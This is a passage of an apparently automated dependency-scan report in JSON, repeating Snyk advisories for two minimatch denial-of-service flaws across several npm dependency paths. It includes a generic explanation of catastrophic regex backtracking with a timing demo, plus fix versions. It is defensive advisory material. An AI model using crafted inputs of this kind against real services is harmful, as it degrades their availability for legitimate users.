"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": 